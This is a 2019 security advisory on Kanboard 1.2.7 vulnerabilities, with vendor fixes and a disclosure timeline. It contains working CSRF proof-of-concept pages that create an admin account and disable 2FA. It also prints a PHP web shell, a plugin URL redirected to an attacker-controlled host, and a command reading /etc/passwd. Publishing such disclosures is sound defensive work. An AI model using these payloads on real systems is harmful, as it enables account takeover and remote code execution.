Feb 11 2019

Kanboard 1.2.7 contains multiple vulnerabilities. The vulnerabilities include CSV account import cross site request forgery which allows an unauthenticated attacker to create a new administrative user. Cross site request forgery 2FA deactivation, allowing an unauthenticated attacker to disable an account’s 2FA configuration. A lack of integrity checking or transport layer encryption enforced on plugins enables remote code execution by a malicious admin. Other vulnerabilities include: session privilege retention, 2FA bypass, database `user_id` and pre-2FA information disclosure.

**Date Released:** 11/02/2019

**Author:** Will Boucher

**Project Website:** [https://kanboard.org/](https://kanboard.org/)

**Affected Software:** Kanboard 1.2.7

## CSRF - Account Import from CSV file

No CSRF token check is performed during user import via CSV file. An unauthenticated attacker, who can coerce an authenticated administrative user to visit a malicious web page, can import a new administrator account using the `/?controller=UserImportController&action=save` endpoint.

The following proof-of-concept HTML will add an administrative user with a login of `fakeadmin` and password of `fakeadmin`.

### CSRF Proof-of-concept

```html
<html>
  <body onLoad="submitRequest()">
  <script>history.pushState('', '', '/')</script>
    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "http:\/[KANBOARDHOST]\/?controller=UserImportController&action=save", true);
        xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=----WebKitFormBoundary1xqAn1RU5OQAgU5k");
        xhr.setRequestHeader("Accept", "*\/*");
        xhr.setRequestHeader("Accept-Language", "en-GB,en-US;q=0.9,en;q=0.8");
        xhr.withCredentials = true;
        var body = "\r\n" +
          "------WebKitFormBoundary1xqAn1RU5OQAgU5k\r\n" +
          "Content-Disposition: form-data; name=\"file\"; filename=\"import-users.csv\"\r\n" +
          "Content-Type: application/octet-stream\r\n" +
          "\r\n" +
          "\r\n" +
          "fakeadmin,fakeadmin,fakeadmin@fakeadmin.com,\"Fake Admin\",1,0,,\r\n" +
          "\r\n" +
          "------WebKitFormBoundary1xqAn1RU5k--\r\n";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i);
        xhr.send(new Blob([aBody]));
      }
    </script>
<Center><H1>Nothing to see here. <BR>
Move along.</H1></Center>
  </body>
</html>
```

## CSRF - Deactivate 2FA

No CSRF token check is performed on requests to deactivate 2FA functionality. An unauthenticated attacker who can coerce an authenticated user to visit a malicious web page can deactivate 2FA on the account using the `/?controller=TwoFactorController&action=deactivate` endpoint.

While this POC illustrates a request for `user_id=1`, a page could be crafted to send requests for all accounts, discovered using the `user_id` information disclosure detailed below, removing the need to know the `user_id` in advance.

### CSRF 2FA Proof-of-concept

```html
<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://[KANBOARDHOST]/kanboard-1.2.7/?controller=TwoFactorController&action=deactivate&user_id=1" method="POST">
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
```

## RCE - Malicious Plugin Installation

Kanboard 1.2.7 performs no integrity checking or transport layer encryption enforcement during plugin installation.

An attacker who gains administrative access, such as through the CSRF account import detailed above, can achieve remote code execution on the system hosting Kanboard 1.2.7 through the installation of a malicious plugin.

An attacker can download a plugin from the source repository, decompress the plugin, add a malicious file and re-compress the plugin to be served from a web server the attacker controls.

In this example the `TaskAssignCategory` plugin is used. The plugin is decompressed and a PHP web shell inserted in the `TaskAssignCategory/Action/` directory of the plugin as `webshell.php`.

### Source of webshell.php

```php
<?php
    if($_GET['cmd'])
    {
        system($_GET['cmd']);
    }
?>
```

The plugin is then compressed and served from a web server the attacker controls.

Once preparations have been made, an attacker who has obtained administrative access to the Kanboard application, such as through CSRF Account Import detailed above, can visit the plugin directory page for plugin installation.

Clicking `install` for a plugin will result in the following request:

```none
http://[KANBOARDHOST]/kanboard-1.2.7/?controller=PluginController&action=install&archive_url=https%253A%252F%252Fraw.githubusercontent.com%252Fdmorlitz%252Fkanboard-TaskAssignCategory%252Fmaster%252Freleases%252FTaskAssignCategory.zip&csrf_token=e2b5e632c49dbdbc846aaed68d93893005a9c17a48fae51f44399626f1a5
```

The attacker can replace the plugin `archive_url` with a target they control, serving the plugin they have edited to contain malicious code.

```none
http://[KANBOARDHOST]/kanboard-1.2.7/?controller=PluginController&action=install&archive_url=http%253A%252F%252F[ATTACKER_WEB_HOST]%252FTaskAssignCategory.zip&csrf_token=e2b5e632c49dbdbc846aaed68d93893005a9c17a48fae51f44399626f1a5
```

Kanboard installs the plugin, without performing any integrity checks on the plugin and allowing the plugin to be fetched unencrypted over HTTP from any host specified.

The attacker can then navigate to the malicious code included in the modified plugin for execution:

```none
http://[KANBOARDHOST]/kanboard-1.2.7/plugins/TaskAssignCategory/Action/webshell.php?cmd=cat%20/etc/passwd
```

### Response - Remote Code Execution

```none
HTTP/1.1 200 OK
{...snip...}
Content-Length: 2414
Connection: close
Content-Type: text/html; charset=UTF-8

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
{...snip...}
gdm:x:121:125:Gnome Display Manager:/var/lib/gdm3:/bin/false
kanboard:x:1000:1000:KanBoard,,,:/home/kanboard:/bin/bash
```

## Session Privilege Retention

Kanboard 1.2.7 stores a user’s privilege level, or `role`, in a session entry in the database when a user logs into the application.

### Privilege snippet of stored session

```none
"role";s:9:"app-admin";
```

If a user logs into the application with `app-admin` privileges and is then demoted to an `app-user` by another user with permission to do so, the session entry in the database is not destroyed nor updated with the new permission level. The logged in user can enter the account settings page for their own account and restore their permissions to that of administrator.

## 2FA - Bypass

By default, Kanboard 1.2.7 is configured to accept `Authorization: Basic` as a form of authentication for the `jsonrpc.php` endpoint.

When authenticating to the `jsonrpc.php` endpoint with valid credentials for an account that is configured to use 2FA, the `jsonrpc.php` endpoint does not require a second factor of authentication.

## Information Disclosure - Database User_IDs

An unauthenticated user can determine which `user_id`s exist for accounts in the Kanboard 1.2.7 database by requesting a user’s avatar from the `AvatarFileController`.

### Avatar request example

```none
http://[KANBOARDHOST]/kanboard-1.2.7/?controller=AvatarFileController&action=show&user_id=1
```

If the `user_id` exists, the application returns:

```none
HTTP/1.1 403 Forbidden
```

If the `user_id` does not exist, the application returns:

```none
HTTP/1.1 200 OK
```

Knowing the `user_id`s that exist in the database can be useful to an attacker for further attacks such as the 2FA CSRF Deactivation detailed above.

## Information Disclosure - Pre-2FA Projects Disclosure

During the authentication process, with 2FA enabled, Kanboard 1.2.7 discloses project names.

An attacker who acquires login credentials can authenticate to Kanboard 1.2.7 and is presented with a page asking for the 2FA code.

The page requesting the 2FA code, `/?controller=TwoFactorController&action=code`, reveals project names; illustrated in the HTML snippet below.

In this case the projects are named `Project 1`, `Project 2` and `Project 3`.

### Pre-2FA Project Listing

```html
{...snip...}
<header>
    <div class="title-container">
        <h1>
    <span class="logo">
        <a href="/kanboard-1.2.7/?controller=DashboardController&amp;action=show" class="" title='Dashboard' >K<span>B</span></a>    </span>
    <span class="title">
                    Check two factor authentication code            </span>
    </h1>
    </div>
    <div class="board-selector-container">
                    <div class="js-select-dropdown-autocomplete" data-params='{"name":"boardId","placeholder":"Display another project","items":{"1":"Project 1","2":"Project 2","3":"Project 3"},"redirect":{"regex":"PROJECT_ID","url":"\/kanboard-1.2.7\/?controller=BoardViewController&action=show&project_id=PROJECT_ID"},"onFocus":["board.selector.open"]}'></div>
            </div>
{...snip...}
```

## RESOLUTION

**31/01/2019** Vendor Patches:

Commit `19ea9ed6209b36cba5cb8f96224d9e3a0c022c93` CSRF - Deactivate 2FA fixed.

Commit `8cf8f9ef078b31473e9edcb4b9a61a80e3152c0c` RCE - Malicious Plugin Installation - Plugins disabled by default

**NOTE:** _The developers of Kanboard have placed the risk of malicious plugins on the Kanboard instance owner. If plugins are enabled and an attacker gains administrative access to the Kanboard instance, **Remote Code Execution** continues to be achievable through the installation of a malicious plugin._

Commit `61a55c888889a1ec3376a7a3bba230dc15a378a4` Session Privilege Retention fixed

Commit `322383b0847426cb92533528a784471b94193a3b` Information Disclosure - Database User_IDs disclosure fixed

Commit `a1c437bce825d90011750199fbcc0ca08ada51b3` Information Disclosure - Pre-2FA Projects Disclosure fixed

**01/02/2019** Vendor Patches:

Commit `061ba4abe179829d7d0acd3422a16110dbc91da5` CSRF - Account Import from CSV file fixed

**02/02/2019** Kanboard 1.2.8 released – 2FA bypass fixed

## TIMELINE

**29/01/2019** GitHub issue opened requesting security contact. [https://github.com/kanboard/kanboard/issues/4134](https://github.com/kanboard/kanboard/issues/4134)

**31/01/2019** Advisory sent to support@kanboard.net

**31/01/2019** Patches commited to GitHub

**01/02/2019** Patches commited to GitHub

**02/02/2019** Kanboard 1.2.8 released

**11/02/2019** Advisory Released

* * *
